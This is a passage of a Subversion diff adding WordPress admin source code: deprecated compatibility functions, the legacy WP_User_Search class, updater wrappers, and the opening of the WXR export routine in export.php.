+ * @param callable $sanitize_callback
+ */
+function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'unregister_setting()' );
+	unregister_setting( $option_group, $option_name, $sanitize_callback );
+}
+
+/**
+ * Determines the language to use for CodePress syntax highlighting.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+ *
+ * @param string $filename
+**/
+function codepress_get_lang( $filename ) {
+	_deprecated_function( __FUNCTION__, '3.0' );
+	return;
+}
+
+/**
+ * Adds JavaScript required to make CodePress work on the theme/plugin editors.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+**/
+function codepress_footer_js() {
+	_deprecated_function( __FUNCTION__, '3.0' );
+	return;
+}
+
+/**
+ * Determine whether to use CodePress.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+**/
+function use_codepress() {
+	_deprecated_function( __FUNCTION__, '3.0' );
+	return;
+}
+
+/**
+ * @deprecated 3.1.0
+ *
+ * @return array List of user IDs.
+ */
+function get_author_user_ids() {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );
+
+	global $wpdb;
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
+}
+
+/**
+ * @deprecated 3.1.0
+ *
+ * @param int $user_id User ID.
+ * @return array|bool List of editable authors. False if no editable users.
+ */
+function get_editable_authors( $user_id ) {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );
+
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if ( !$editable ) {
+		return false;
+	} else {
+		$editable = join(',', $editable);
+		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
+	}
+
+	return apply_filters('get_editable_authors', $authors);
+}
+
+/**
+ * @deprecated 3.1.0
+ *
+ * @param int $user_id User ID.
+ * @param bool $exclude_zeros Optional, default is true. Whether to exclude zeros.
+ * @return mixed
+ */
+function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );
+
+	global $wpdb;
+
+	if ( ! $user = get_userdata( $user_id ) )
+		return array();
+	$post_type_obj = get_post_type_object($post_type);
+
+	if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) {
+		if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros )
+			return array($user->ID);
+		else
+			return array();
+	}
+
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
+	if ( $exclude_zeros )
+		$query .= " AND meta_value != '0'";
+
+	return $wpdb->get_col( $query );
+}
+
+/**
+ * @deprecated 3.1.0
+ */
+function get_nonauthor_user_ids() {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );
+
+	global $wpdb;
+
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
+}
+
+if ( !class_exists('WP_User_Search') ) :
+/**
+ * WordPress User Search class.
+ *
+ * @since 2.1.0
+ * @deprecated 3.1.0
+ */
+class WP_User_Search {
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var mixed
+	 */
+	var $results;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_term;
+
+	/**
+	 * Page number.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $page;
+
+	/**
+	 * Role name that users have.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $role;
+
+	/**
+	 * Raw page number.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int|bool
+	 */
+	var $raw_page;
+
+	/**
+	 * Amount of users to display per page.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	var $users_per_page = 50;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $first_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $last_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_limit;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_orderby;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_from;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_where;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $total_users_for_query = 0;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var bool
+	 */
+	var $too_many_total_users = false;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var WP_Error
+	 */
+	var $search_errors;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.7.0
+	 * @access private
+	 * @var string
+	 */
+	var $paging_text;
+
+	/**
+	 * PHP4 Constructor - Sets up the object properties.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $search_term Search terms string.
+	 * @param int $page Optional. Page ID.
+	 * @param string $role Role name.
+	 * @return WP_User_Search
+	 */
+	function WP_User_Search ($search_term = '', $page = '', $role = '') {
+		_deprecated_function( __FUNCTION__, '3.1', 'WP_User_Query' );
+
+		$this->search_term = wp_unslash( $search_term );
+		$this->raw_page = ( '' == $page ) ? false : (int) $page;
+		$this->page = (int) ( '' == $page ) ? 1 : $page;
+		$this->role = $role;
+
+		$this->prepare_query();
+		$this->query();
+		$this->do_paging();
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function prepare_query() {
+		global $wpdb;
+		$this->first_user = ($this->page - 1) * $this->users_per_page;
+
+		$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
+		$this->query_orderby = ' ORDER BY user_login';
+
+		$search_sql = '';
+		if ( $this->search_term ) {
+			$searches = array();
+			$search_sql = 'AND (';
+			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
+				$searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' );
+			$search_sql .= implode(' OR ', $searches);
+			$search_sql .= ')';
+		}
+
+		$this->query_from = " FROM $wpdb->users";
+		$this->query_where = " WHERE 1=1 $search_sql";
+
+		if ( $this->role ) {
+			$this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id";
+			$this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
+		} elseif ( is_multisite() ) {
+			$level_key = $wpdb->prefix . 'capabilities'; // wpmu site admins don't have user_levels
+			$this->query_from .= ", $wpdb->usermeta";
+			$this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'";
+		}
+
+		do_action_ref_array( 'pre_user_search', array( &$this ) );
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function query() {
+		global $wpdb;
+
+		$this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit);
+
+		if ( $this->results )
+			$this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // no limit
+		else
+			$this->search_errors = new WP_Error('no_matching_users_found', __('No matching users were found!'));
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function prepare_vars_for_template_usage() {}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function do_paging() {
+		if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results
+			$args = array();
+			if( ! empty($this->search_term) )
+				$args['usersearch'] = urlencode($this->search_term);
+			if( ! empty($this->role) )
+				$args['role'] = urlencode($this->role);
+
+			$this->paging_text = paginate_links( array(
+				'total' => ceil($this->total_users_for_query / $this->users_per_page),
+				'current' => $this->page,
+				'base' => 'users.php?%_%',
+				'format' => 'userspage=%#%',
+				'add_args' => $args
+			) );
+			if ( $this->paging_text ) {
+				$this->paging_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
+					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
+					number_format_i18n( $this->total_users_for_query ),
+					$this->paging_text
+				);
+			}
+		}
+	}
+
+	/**
+	 * {@internal Missing Short Description}}
+	 *
+	 * {@internal Missing Long Description}}
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return array
+	 */
+	function get_results() {
+		return (array) $this->results;
+	}
+
+	/**
+	 * Displaying paging text.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function page_links() {
+		echo $this->paging_text;
+	}
+
+	/**
+	 * Whether paging is enabled.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function results_are_paged() {
+		if ( $this->paging_text )
+			return true;
+		return false;
+	}
+
+	/**
+	 * Whether there are search terms.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function is_search() {
+		if ( $this->search_term )
+			return true;
+		return false;
+	}
+}
+endif;
+
+/**
+ * Retrieve editable posts from other users.
+ *
+ * @deprecated 3.1.0
+ *
+ * @param int $user_id User ID to not retrieve posts from.
+ * @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'.
+ * @return array List of posts from others.
+ */
+function get_others_unpublished_posts($user_id, $type='any') {
+	_deprecated_function( __FUNCTION__, '3.1' );
+
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if ( in_array($type, array('draft', 'pending')) )
+		$type_sql = " post_status = '$type' ";
+	else
+		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";
+
+	$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';
+
+	if ( !$editable ) {
+		$other_unpubs = '';
+	} else {
+		$editable = join(',', $editable);
+		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
+	}
+
+	return apply_filters('get_others_drafts', $other_unpubs);
+}
+
+/**
+ * Retrieve drafts from other users.
+ *
+ * @deprecated 3.1.0
+ *
+ * @param int $user_id User ID.
+ * @return array List of drafts from other users.
+ */
+function get_others_drafts($user_id) {
+	_deprecated_function( __FUNCTION__, '3.1' );
+
+	return get_others_unpublished_posts($user_id, 'draft');
+}
+
+/**
+ * Retrieve pending review posts from other users.
+ *
+ * @deprecated 3.1.0
+ *
+ * @param int $user_id User ID.
+ * @return array List of posts with pending review post type from other users.
+ */
+function get_others_pending($user_id) {
+	_deprecated_function( __FUNCTION__, '3.1' );
+
+	return get_others_unpublished_posts($user_id, 'pending');
+}
+
+/**
+ * Output the QuickPress dashboard widget.
+ *
+ * @since 3.0.0
+ * @deprecated 3.2.0
+ * @deprecated Use wp_dashboard_quick_press()
+ * @see wp_dashboard_quick_press()
+ */
+function wp_dashboard_quick_press_output() {
+	_deprecated_function( __FUNCTION__, '3.2', 'wp_dashboard_quick_press()' );
+	wp_dashboard_quick_press();
+}
+
+/**
+ * @since 2.7.0
+ * @deprecated 3.3.0
+ * @deprecated Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_tiny_mce( $teeny = false, $settings = false ) {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
+
+	static $num = 1;
+
+	if ( ! class_exists('_WP_Editors' ) )
+		require_once( ABSPATH . WPINC . '/class-wp-editor.php' );
+
+	$editor_id = 'content' . $num++;
+
+	$set = array(
+		'teeny' => $teeny,
+		'tinymce' => $settings ? $settings : true,
+		'quicktags' => false
+	);
+
+	$set = _WP_Editors::parse_settings($editor_id, $set);
+	_WP_Editors::editor_settings($editor_id, $set);
+}
+
+/**
+ * @deprecated 3.3.0
+ * @deprecated Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_preload_dialogs() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
+}
+
+/**
+ * @deprecated 3.3.0
+ * @deprecated Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_print_editor_js() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
+}
+
+/**
+ * @deprecated 3.3.0
+ * @deprecated Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_quicktags() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
+}
+
+/**
+ * Returns the screen layout options.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ * @deprecated Use $current_screen->render_screen_layout()
+ * @see WP_Screen::render_screen_layout()
+ */
+function screen_layout( $screen ) {
+	_deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_screen_layout()' );
+
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return '';
+
+	ob_start();
+	$current_screen->render_screen_layout();
+	return ob_get_clean();
+}
+
+/**
+ * Returns the screen's per-page options.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ * @deprecated Use $current_screen->render_per_page_options()
+ * @see WP_Screen::render_per_page_options()
+ */
+function screen_options( $screen ) {
+	_deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_per_page_options()' );
+
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return '';
+
+	ob_start();
+	$current_screen->render_per_page_options();
+	return ob_get_clean();
+}
+
+/**
+ * Renders the screen's help.
+ *
+ * @since 2.7.0
+ * @deprecated 3.3.0
+ * @deprecated Use $current_screen->render_screen_meta()
+ * @see WP_Screen::render_screen_meta()
+ */
+function screen_meta( $screen ) {
+	$current_screen = get_current_screen();
+	$current_screen->render_screen_meta();
+}
+
+/**
+ * Favorite actions were deprecated in version 3.2. Use the admin bar instead.
+ *
+ * @since 2.7.0
+ * @deprecated 3.2.0
+ */
+function favorite_actions() {
+	_deprecated_function( __FUNCTION__, '3.2', 'WP_Admin_Bar' );
+}
+
+function media_upload_image() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+function media_upload_audio() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+function media_upload_video() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+function media_upload_file() {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+function type_url_form_image() {
+	_deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('image')" );
+	return wp_media_insert_url_form( 'image' );
+}
+
+function type_url_form_audio() {
+	_deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('audio')" );
+	return wp_media_insert_url_form( 'audio' );
+}
+
+function type_url_form_video() {
+	_deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('video')" );
+	return wp_media_insert_url_form( 'video' );
+}
+
+function type_url_form_file() {
+	_deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('file')" );
+	return wp_media_insert_url_form( 'file' );
+}
+
+/**
+ * Add contextual help text for a page.
+ *
+ * Creates an 'Overview' help tab.
+ *
+ * @since 2.7.0
+ * @deprecated 3.3.0
+ * @deprecated Use get_current_screen()->add_help_tab()
+ * @see WP_Screen
+ *
+ * @param string    $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
+ * @param string    $help   The content of an 'Overview' help tab.
+ */
+function add_contextual_help( $screen, $help ) {
+	_deprecated_function( __FUNCTION__, '3.3', 'get_current_screen()->add_help_tab()' );
+
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	WP_Screen::add_old_compat_help( $screen, $help );
+}
+
+/**
+ * Get the allowed themes for the current blog.
+ *
+ * @since 3.0.0
+ * @deprecated 3.4.0
+ * @deprecated Use wp_get_themes()
+ * @see wp_get_themes()
+ *
+ * @return array $themes Array of allowed themes.
+ */
+function get_allowed_themes() {
+	_deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'allowed' => true ) )" );
+
+	$themes = wp_get_themes( array( 'allowed' => true ) );
+
+	$wp_themes = array();
+	foreach ( $themes as $theme ) {
+		$wp_themes[ $theme->get('Name') ] = $theme;
+	}
+
+	return $wp_themes;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0
+ *
+ * @return array
+ */
+function get_broken_themes() {
+	_deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'errors' => true )" );
+
+	$themes = wp_get_themes( array( 'errors' => true ) );
+	$broken = array();
+	foreach ( $themes as $theme ) {
+		$name = $theme->get('Name');
+		$broken[ $name ] = array(
+			'Name' => $name,
+			'Title' => $name,
+			'Description' => $theme->errors()->get_error_message(),
+		);
+	}
+	return $broken;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.0.0
+ * @deprecated 3.4.0
+ *
+ * @return WP_Theme
+ */
+function current_theme_info() {
+	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme()' );
+
+	return wp_get_theme();
+}
+
+/**
+ * This was once used to display an 'Insert into Post' button. Now it is deprecated and stubbed.
+ *
+ * @deprecated 3.5.0
+ */
+function _insert_into_post_button( $type ) {
+	_deprecated_function( __FUNCTION__, '3.5' );
+}
+
+/**
+ * This was once used to display a media button. Now it is deprecated and stubbed.
+ *
+ * @deprecated 3.5.0
+ */
+function _media_button($title, $icon, $type, $id) {
+	_deprecated_function( __FUNCTION__, '3.5' );
+}
+
+/**
+ * Get an existing post and format it for editing.
+ *
+ * @since 2.0.0
+ * @deprecated 3.5.0
+ *
+ * @param int $id
+ * @return object
+ */
+function get_post_to_edit( $id ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'get_post()' );
+
+	return get_post( $id, OBJECT, 'edit' );
+}
+
+/**
+ * Get the default page information to use.
+ *
+ * @since 2.5.0
+ * @deprecated 3.5.0
+ * @deprecated Use get_default_post_to_edit()
+ *
+ * @return WP_Post Post object containing all the default post data as attributes
+ */
+function get_default_page_to_edit() {
+	_deprecated_function( __FUNCTION__, '3.5', "get_default_post_to_edit( 'page' )" );
+
+	$page = get_default_post_to_edit();
+	$page->post_type = 'page';
+	return $page;
+}
+
+/**
+ * This was once used to create a thumbnail from an Image given a maximum side size.
+ *
+ * @since 1.2.0
+ * @deprecated 3.5.0
+ * @deprecated Use image_resize()
+ * @see image_resize()
+ *
+ * @param mixed $file Filename of the original image, Or attachment id.
+ * @param int $max_side Maximum length of a single side for the thumbnail.
+ * @param mixed $deprecated Never used.
+ * @return string Thumbnail path on success, Error string on failure.
+ */
+function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'image_resize()' );
+	return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) );
+}
+
+/**
+ * This was once used to display a metabox for the nav menu theme locations.
+ *
+ * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen.
+ *
+ * @since 3.0.0
+ * @deprecated 3.6.0
+ */
+function wp_nav_menu_locations_meta_box() {
+	_deprecated_function( __FUNCTION__, '3.6' );
+}
+
+/**
+ * This was once used to kick-off the Core Updater.
+ *
+ * Deprecated in favor of instantating a Core_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0
+ * @see Core_Upgrader
+ */
+function wp_update_core($current, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7', 'new Core_Upgrader();' );
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Core_Upgrader();
+	return $upgrader->upgrade($current);
+
+}
+
+/**
+ * This was once used to kick-off the Plugin Updater.
+ *
+ * Deprecated in favor of instantating a Plugin_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ * Unused since 2.8.0.
+ *
+ * @since 2.5.0
+ * @deprecated 3.7.0
+ * @see Plugin_Upgrader
+ */
+function wp_update_plugin($plugin, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7', 'new Plugin_Upgrader();' );
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Plugin_Upgrader();
+	return $upgrader->upgrade($plugin);
+}
+
+/**
+ * This was once used to kick-off the Theme Updater.
+ *
+ * Deprecated in favor of instantating a Theme_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ * Unused since 2.8.0.
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0
+ * @see Theme_Upgrader
+ */
+function wp_update_theme($theme, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7', 'new Theme_Upgrader();' );
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Theme_Upgrader();
+	return $upgrader->upgrade($theme);
+}
+
+/**
+ * This was once used to display attachment links. Now it is deprecated and stubbed.
+ *
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.0.0
+ * @deprecated 3.7.0
+ *
+ * @param int|bool $id
+ */
+function the_attachment_links( $id = false ) {
+	_deprecated_function( __FUNCTION__, '3.7' );
+}
+
+/**#@+
+ * Displays a screen icon.
+ *
+ * @since 2.7.0
+ * @since 3.8.0 Screen icons are no longer used in WordPress. This function no longer produces output.
+ * @deprecated 3.8.0
+ */
+function screen_icon() {
+	echo get_screen_icon();
+}
+function get_screen_icon() {
+	return '<!-- Screen icons are no longer used as of WordPress 3.8. -->';
+}
+/**#@-*/
+
+/**#@+
+ * Deprecated dashboard widget controls.
+ *
+ * @since 2.5.0
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_incoming_links_output() {}
+function wp_dashboard_secondary_output() {}
+/**#@-*/
+
+/**#@+
+ * Deprecated dashboard widget controls.
+ *
+ * @since 2.7.0
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_incoming_links() {}
+function wp_dashboard_incoming_links_control() {}
+function wp_dashboard_plugins() {}
+function wp_dashboard_primary_control() {}
+function wp_dashboard_recent_comments_control() {}
+function wp_dashboard_secondary() {}
+function wp_dashboard_secondary_control() {}
+/**#@-*/
+
+/**
+ * This was once used to move child posts to a new parent.
+ *
+ * @since 2.3.0
+ * @deprecated 3.9.0
+ * @access private
+ *
+ * @param int $old_ID
+ * @param int $new_ID
+ */
+function _relocate_children( $old_ID, $new_ID ) {
+	_deprecated_function( __FUNCTION__, '3.9' );
+}
Index: /tags/4.1.6/src/wp-admin/includes/export.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/export.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/export.php	(revision 33402)
@@ -0,0 +1,510 @@
+<?php
+/**
+ * WordPress Export Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Version number for the export format.
+ *
+ * Bump this when something changes that might affect compatibility.
+ *
+ * @since 2.5.0
+ */
+define( 'WXR_VERSION', '1.2' );
+
+/**
+ * Generates the WXR export file for download.
+ *
+ * @since 2.1.0
+ *
+ * @param array $args Filters defining what should be included in the export.
+ */
+function export_wp( $args = array() ) {
+	global $wpdb, $post;
+
+	$defaults = array( 'content' => 'all', 'author' => false, 'category' => false,
+		'start_date' => false, 'end_date' => false, 'status' => false,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Fires at the beginning of an export, before any headers are sent.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $args An array of export arguments.
+	 */
+	do_action( 'export_wp', $args );
+
+	$sitename = sanitize_key( get_bloginfo( 'name' ) );
+	if ( ! empty($sitename) ) $sitename .= '.';
+	$filename = $sitename . 'wordpress.' . date( 'Y-m-d' ) . '.xml';
+
+	header( 'Content-Description: File Transfer' );
+	header( 'Content-Disposition: attachment; filename=' . $filename );
+	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
+
+	if ( 'all' != $args['content'] && post_type_exists( $args['content'] ) ) {
+		$ptype = get_post_type_object( $args['content'] );
+		if ( ! $ptype->can_export )
+			$args['content'] = 'post';
+
+		$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
+	} else {
+		$post_types = get_post_types( array( 'can_export' => true ) );
+		$esses = array_fill( 0, count($post_types), '%s' );
+		$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
+	}
+
+	if ( $args['status'] && ( 'post' == $args['content'] || 'page' == $args['content'] ) )
+		$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
+	else
+		$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
+
+	$join = '';
+	if ( $args['category'] && 'post' == $args['content'] ) {
+		if ( $term = term_exists( $args['category'], 'category' ) ) {
+			$join = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
+			$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
+		}
+	}
+
+	if ( 'post' == $args['content'] || 'page' == $args['content'] ) {
+		if ( $args['author'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
+
+		if ( $args['start_date'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", date( 'Y-m-d', strtotime($args['start_date']) ) );
+
+		if ( $args['end_date'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", date( 'Y-m-d', strtotime('+1 month', strtotime($args['end_date'])) ) );
+	}
+
+	// Grab a snapshot of post IDs, just in case it changes during the export.
+	$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );
+
+	/*
+	 * Get the requested terms ready, empty unless posts filtered by category
+	 * or all content.
+	 */
+	$cats = $tags = $terms = array();
+	if ( isset( $term ) && $term ) {
+		$cat = get_term( $term['term_id'], 'category' );
+		$cats = array( $cat->term_id => $cat );
+		unset( $term, $cat );
+	} else if ( 'all' == $args['content'] ) {
+		$categories = (array) get_categories( array( 'get' => 'all' ) );
+		$tags = (array) get_tags( array( 'get' => 'all' ) );
+
+		$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
+		$custom_terms = (array) get_terms( $custom_taxonomies, array( 'get' => 'all' ) );
+
+		// Put categories in order with no child going before its parent.
+		while ( $cat = array_shift( $categories ) ) {
+			if ( $cat->parent == 0 || isset( $cats[$cat->parent] ) )
+				$cats[$cat->term_id] = $cat;
+			else
+				$categories[] = $cat;
+		}
+
+		// Put terms in order with no child going before its parent.
+		while ( $t = array_shift( $custom_terms ) ) {
+			if ( $t->parent == 0 || isset( $terms[$t->parent] ) )
+				$terms[$t->term_id] = $t;
+			else
+				$custom_terms[] = $t;
+		}
+
+		unset( $categories, $custom_taxonomies, $custom_terms );
+	}
+
+	/**
+	 * Wrap given string in XML CDATA tag.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $str String to wrap in XML CDATA tag.
+	 * @return string
+	 */
+	function wxr_cdata( $str ) {
+		if ( seems_utf8( $str ) == false )
+			$str = utf8_encode( $str );
+
+		// $str = ent2ncr(esc_html($str));
+		$str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>';
+
+		return $str;
+	}
+
+	/**
+	 * Return the URL of the site
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return string Site URL.
+	 */
+	function wxr_site_url() {
+		// Multisite: the base URL.
+		if ( is_multisite() )
+			return network_home_url();
